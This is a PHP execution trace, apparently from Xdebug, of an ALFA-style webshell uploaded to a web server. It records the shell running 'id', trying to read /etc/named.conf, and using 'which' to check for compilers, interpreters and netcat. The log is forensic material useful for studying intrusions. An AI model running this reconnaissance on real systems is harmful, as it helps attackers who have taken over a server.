5	276	0	0.125768	3921720	phpversion	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1116	0
5	276	1	0.125782	3921784
5	276	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	277	0	0.125799	3922232	date	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1124	1	'Y-m-d H:i:s'
5	277	1	0.125859	3924584
5	277	R			'2023-02-12 22:22:59'
5	278	0	0.125880	3922504	_alfa_file	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1130	2	'/etc/named.conf'	FALSE
6	279	0	0.125896	3922504	file	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2511	1	'/etc/named.conf'
6	279	1	0.125924	3922544
6	279	R			FALSE
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2511	$array = FALSE
6	280	0	0.125950	3922504	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2513	4	'id'	FALSE	FALSE	???
7	281	0	0.125964	3922504	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'id'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	282	0	0.125989	3922504	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	282	1	0.126002	3922544
8	282	R			TRUE
8	283	0	0.126015	3922528	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'id'	''
8	283	1	0.127420	3923128
8	283	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
8	284	0	0.127448	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
8	284	1	0.127466	3923048
8	284	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	281	1	0.127503	3922584
7	281	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	280	1	0.127532	3922584
6	280	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	285	0	0.127549	3922504	addslashes	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2514	1	'/etc/named.conf'
6	285	1	0.127563	3922536
6	285	R			'/etc/named.conf'
6	286	0	0.127578	3922552	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2514	4	'cat "/etc/named.conf"'	FALSE	FALSE	???
7	287	0	0.127595	3922552	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'cat "/etc/named.conf"'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	288	0	0.127620	3922552	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	288	1	0.127634	3922592
8	288	R			TRUE
8	289	0	0.127647	3922576	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'cat "/etc/named.conf"'	''
8	289	1	0.128754	3922696
8	289	R			''
8	290	0	0.128776	3922632	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	290	1	0.128793	3922696
8	290	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	287	1	0.128818	3922552
7	287	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	286	1	0.128843	3922552
6	286	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2514	$data = ''
5	278	1	0.128866	3922504
5	278	R			FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1130	$d0mains = FALSE
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1131	GLOBALS['need_to_update_header'] = 'true'
5	291	0	0.128906	3922504	alfaSize	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1146	1	232015802368
6	292	0	0.128922	3922504	sprintf	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2415	2	'%1.2f'	216.08155441284
6	292	1	0.128938	3922888
6	292	R			'216.08'
5	291	1	0.128952	3922544
5	291	R			'216.08 GB'
5	293	0	0.128967	3922760	alfaSize	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1146	1	196054269952
6	294	0	0.128981	3922760	sprintf	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2415	2	'%1.2f'	182.58976745605
6	294	1	0.129001	3923144
6	294	R			'182.59'
5	293	1	0.129014	3922800
5	293	R			'182.59 GB'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1149	$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
5	295	0	0.129050	3922504	ini_get	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1150	1	'safe_mode'
5	295	1	0.129064	3922536
5	295	R			FALSE
5	296	0	0.129077	3922504	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1151	4	'id'	FALSE	FALSE	???
6	297	0	0.129092	3922504	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'id'	FALSE
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
7	298	0	0.129116	3922504	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
7	298	1	0.129130	3922544
7	298	R			TRUE
7	299	0	0.129143	3922528	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'id'	''
7	299	1	0.130521	3923128
7	299	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7	300	0	0.130548	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7	300	1	0.130566	3923048
7	300	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6	297	1	0.130598	3922584
6	297	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5	296	1	0.130627	3922584
5	296	R			'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1153	$userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1154	$x = 0
5	301	0	0.130680	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'gcc'
6	302	0	0.130695	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which gcc'	FALSE	FALSE	???
7	303	0	0.130711	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which gcc'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	304	0	0.130736	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	304	1	0.130749	3922584
8	304	R			TRUE
8	305	0	0.130762	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which gcc'	''
8	305	1	0.131977	3923088
8	305	R			'/usr/bin/gcc'
8	306	0	0.132002	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/gcc']
8	306	1	0.132019	3923048
8	306	R			'/usr/bin/gcc'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/gcc'
7	303	1	0.132047	3922584
7	303	R			'/usr/bin/gcc'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/gcc'
6	302	1	0.132074	3922584
6	302	R			'/usr/bin/gcc'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/gcc'
5	301	1	0.132100	3922504
5	301	R			12
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	307	0	0.132125	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'lcc'
6	308	0	0.132139	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which lcc'	FALSE	FALSE	???
7	309	0	0.132155	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which lcc'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	310	0	0.132180	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	310	1	0.132194	3922584
8	310	R			TRUE
8	311	0	0.132207	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which lcc'	''
8	311	1	0.133421	3922688
8	311	R			''
8	312	0	0.133444	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	312	1	0.133460	3922688
8	312	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	309	1	0.133486	3922544
7	309	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	308	1	0.133510	3922544
6	308	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	307	1	0.133533	3922504
5	307	R			FALSE
5	313	0	0.133547	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'cc'
6	314	0	0.133561	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which cc'	FALSE	FALSE	???
7	315	0	0.133577	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which cc'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	316	0	0.133602	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	316	1	0.133616	3922584
8	316	R			TRUE
8	317	0	0.133630	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which cc'	''
8	317	1	0.134863	3923088
8	317	R			'/usr/bin/cc'
8	318	0	0.134888	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/cc']
8	318	1	0.134905	3923048
8	318	R			'/usr/bin/cc'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/cc'
7	315	1	0.134932	3922584
7	315	R			'/usr/bin/cc'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/cc'
6	314	1	0.134958	3922584
6	314	R			'/usr/bin/cc'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/cc'
5	313	1	0.134984	3922504
5	313	R			11
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	319	0	0.135009	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'ld'
6	320	0	0.135023	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which ld'	FALSE	FALSE	???
7	321	0	0.135038	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which ld'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	322	0	0.135063	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	322	1	0.135077	3922584
8	322	R			TRUE
8	323	0	0.135090	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which ld'	''
8	323	1	0.136305	3923088
8	323	R			'/usr/bin/ld'
8	324	0	0.136329	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/ld']
8	324	1	0.136347	3923048
8	324	R			'/usr/bin/ld'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/ld'
7	321	1	0.136374	3922584
7	321	R			'/usr/bin/ld'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/ld'
6	320	1	0.136401	3922584
6	320	R			'/usr/bin/ld'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/ld'
5	319	1	0.136427	3922504
5	319	R			11
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	325	0	0.136451	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'make'
6	326	0	0.136466	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which make'	FALSE	FALSE	???
7	327	0	0.136482	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which make'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	328	0	0.136507	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	328	1	0.136521	3922584
8	328	R			TRUE
8	329	0	0.136534	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which make'	''
8	329	1	0.137744	3923088
8	329	R			'/usr/bin/make'
8	330	0	0.137768	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/make']
8	330	1	0.137786	3923048
8	330	R			'/usr/bin/make'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/make'
7	327	1	0.137815	3922584
7	327	R			'/usr/bin/make'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/make'
6	326	1	0.137842	3922584
6	326	R			'/usr/bin/make'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/make'
5	325	1	0.137868	3922504
5	325	R			13
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	331	0	0.137892	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'php'
6	332	0	0.137907	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which php'	FALSE	FALSE	???
7	333	0	0.137923	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which php'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	334	0	0.137948	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	334	1	0.137961	3922584
8	334	R			TRUE
8	335	0	0.137974	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which php'	''
8	335	1	0.139222	3923088
8	335	R			'/usr/bin/php'
8	336	0	0.139248	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/php']
8	336	1	0.139265	3923048
8	336	R			'/usr/bin/php'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/php'
7	333	1	0.139293	3922584
7	333	R			'/usr/bin/php'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/php'
6	332	1	0.139320	3922584
6	332	R			'/usr/bin/php'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/php'
5	331	1	0.139346	3922504
5	331	R			12
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	337	0	0.139370	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'perl'
6	338	0	0.139385	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which perl'	FALSE	FALSE	???
7	339	0	0.139400	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which perl'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	340	0	0.139425	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	340	1	0.139439	3922584
8	340	R			TRUE
8	341	0	0.139452	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which perl'	''
8	341	1	0.140674	3923088
8	341	R			'/usr/bin/perl'
8	342	0	0.140699	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/perl']
8	342	1	0.140716	3923048
8	342	R			'/usr/bin/perl'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/perl'
7	339	1	0.140745	3922584
7	339	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/perl'
6	338	1	0.140772	3922584
6	338	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/perl'
5	337	1	0.140798	3922504
5	337	R			13
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	343	0	0.140822	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'python'
6	344	0	0.140837	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which python'	FALSE	FALSE	???
7	345	0	0.140852	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which python'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	346	0	0.140882	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	346	1	0.140897	3922584
8	346	R			TRUE
8	347	0	0.140910	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which python'	''
8	347	1	0.142146	3922688
8	347	R			''
8	348	0	0.142169	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	348	1	0.142186	3922688
8	348	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	345	1	0.142212	3922544
7	345	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	344	1	0.142236	3922544
6	344	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	343	1	0.142259	3922504
5	343	R			FALSE
5	349	0	0.142273	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'ruby'
6	350	0	0.142288	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which ruby'	FALSE	FALSE	???
7	351	0	0.142304	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which ruby'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	352	0	0.142329	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	352	1	0.142343	3922584
8	352	R			TRUE
8	353	0	0.142356	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which ruby'	''
8	353	1	0.143557	3922688
8	353	R			''
8	354	0	0.143580	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	354	1	0.143597	3922688
8	354	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	351	1	0.143623	3922544
7	351	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	350	1	0.143647	3922544
6	350	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	349	1	0.143671	3922504
5	349	R			FALSE
5	355	0	0.143684	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'tar'
6	356	0	0.143699	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which tar'	FALSE	FALSE	???
7	357	0	0.143715	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which tar'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	358	0	0.143740	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	358	1	0.143754	3922584
8	358	R			TRUE
8	359	0	0.143767	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which tar'	''
8	359	1	0.144972	3923088
8	359	R			'/usr/bin/tar'
8	360	0	0.144996	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/tar']
8	360	1	0.145014	3923048
8	360	R			'/usr/bin/tar'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/tar'
7	357	1	0.145042	3922584
7	357	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/tar'
6	356	1	0.145069	3922584
6	356	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/tar'
5	355	1	0.145095	3922504
5	355	R			12
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	361	0	0.145119	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'gzip'
6	362	0	0.145134	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which gzip'	FALSE	FALSE	???
7	363	0	0.145150	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which gzip'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	364	0	0.145175	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	364	1	0.145189	3922584
8	364	R			TRUE
8	365	0	0.145208	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which gzip'	''
8	365	1	0.146464	3923088
8	365	R			'/usr/bin/gzip'
8	366	0	0.146490	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/gzip']
8	366	1	0.146508	3923048
8	366	R			'/usr/bin/gzip'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/gzip'
7	363	1	0.146536	3922584
7	363	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/gzip'
6	362	1	0.146562	3922584
6	362	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/gzip'
5	361	1	0.146588	3922504
5	361	R			13
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	367	0	0.146612	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'bzip'
6	368	0	0.146627	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which bzip'	FALSE	FALSE	???
7	369	0	0.146643	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which bzip'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	370	0	0.146668	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	370	1	0.146682	3922584
8	370	R			TRUE
8	371	0	0.146695	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which bzip'	''
8	371	1	0.147899	3922688
8	371	R			''
8	372	0	0.147922	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	372	1	0.147938	3922688
8	372	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	369	1	0.147964	3922544
7	369	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	368	1	0.147988	3922544
6	368	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	367	1	0.148012	3922504
5	367	R			FALSE
5	373	0	0.148026	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'bzialfa2'
6	374	0	0.148041	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which bzialfa2'	FALSE	FALSE	???
7	375	0	0.148057	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which bzialfa2'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	376	0	0.148083	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	376	1	0.148097	3922584
8	376	R			TRUE
8	377	0	0.148110	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which bzialfa2'	''
8	377	1	0.149320	3922688
8	377	R			''
8	378	0	0.149342	3922624	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[]
8	378	1	0.149359	3922688
8	378	R			''
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = ''
7	375	1	0.149384	3922544
7	375	R			''
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = ''
6	374	1	0.149409	3922544
6	374	R			''
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = ''
5	373	1	0.149432	3922504
5	373	R			FALSE
5	379	0	0.149446	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'nc'
6	380	0	0.149460	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which nc'	FALSE	FALSE	???
7	381	0	0.149476	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which nc'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	382	0	0.149501	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	382	1	0.149516	3922584
8	382	R			TRUE
8	383	0	0.149529	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which nc'	''
8	383	1	0.150801	3923088
8	383	R			'/usr/bin/nc'
8	384	0	0.150826	3922984	join	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	2	'\n'	[0 => '/usr/bin/nc']
8	384	1	0.150844	3923048
8	384	R			'/usr/bin/nc'
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	759	$out = '/usr/bin/nc'
7	381	1	0.150871	3922584
7	381	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	$data = '/usr/bin/nc'
6	380	1	0.150897	3922584
6	380	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	$path = '/usr/bin/nc'
5	379	1	0.150925	3922504
5	379	R			11
4		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	$x++
5	385	0	0.150949	3922504	alfaWhich	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	1155	1	'locate'
6	386	0	0.150963	3922544	alfaEx	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	2408	4	'which locate'	FALSE	FALSE	???
7	387	0	0.150979	3922544	_alfa_php_cmd	1		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	740	2	'which locate'	FALSE
7		A						/var/www/html/uploads/cvdr2.php(4) : eval()'d code	754	$out = ''
8	388	0	0.151005	3922544	function_exists	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	757	1	'exec'
8	388	1	0.151019	3922584
8	388	R			TRUE
8	389	0	0.151031	3922568	exec	0		/var/www/html/uploads/cvdr2.php(4) : eval()'d code	758	2	'which locate'	''
8	389	1	0.152199	3922688
8	389	R			''
